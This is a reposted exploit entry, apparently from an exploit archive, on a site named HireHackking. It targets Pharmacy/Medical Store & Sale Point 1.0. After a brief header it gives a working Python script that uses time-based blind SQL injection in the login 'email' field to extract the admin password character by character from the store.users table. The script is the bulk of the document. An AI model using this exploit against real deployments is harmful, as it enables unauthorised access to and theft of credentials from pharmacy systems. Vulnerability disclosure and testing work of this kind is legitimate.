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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Pharmacy/Medical Store & Sale Point 1.0  - 'email' SQL Injection
# Date: 2020-08-23
# Exploit Author: @naivenom
# Vendor Homepage: https://www.sourcecodester.com/php/14398/pharmacymedical-store-sale-point-using-phpmysql-bootstrap-framework.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14398&title=Pharmacy%2FMedical+Store+%26+Sale+Point+Using+PHP%2FMySQL+with+Bootstrap+Framework
# Version: 1.0
# Tested on: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4

This parameter "email" is vulnerable to Time-Based blind SQL injection
in this path "/medical/login.php " that leads to retrieve all
databases.

#exploit

import re
import requests
from bs4 import BeautifulSoup
import sys
import urllib3
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# We can test the time based blind sqli with this script. This script
testing with each character of the password column from users name
table

# and retrieve password from admin user.

def time_based_blind_sqli(injection_string):

    target = "http://localhost:81/medical-store-source/login.php"

    for j in range(32,126):

        data = {'email': "%s" % (injection_string.replace("[CHAR]", str(j))),

        'password':'xJXb',

        'login':''}

        tim = time.time()

        r = requests.post(target,data = data, verify=False)

        nowtime = time.time()

        curren = nowtime-tim

        if curren <= 4:

            return j

    return None

def main():

    print("\n(+) Retrieving password from admin user...")

    # 5 is length of the password. This can

    # be dynamically stolen from the database as well!

    for i in range(1,5):

        injection_string = "admin@admin.com' AND (SELECT 1100 FROM
(SELECT(SLEEP(4-(IF(ORD(MID((SELECT IFNULL(CAST(password AS
NCHAR),0x20) FROM store.users ORDER BY password LIMIT
0,1),%d,1))>[CHAR],0,1)))))soLu) AND 'yHIV'='yHIV" % i

        extracted_char = chr(time_based_blind_sqli(injection_string))

        sys.stdout.write(extracted_char)

        sys.stdout.flush()

    print("\n(+) done!")



if __name__ == "__main__":

    main()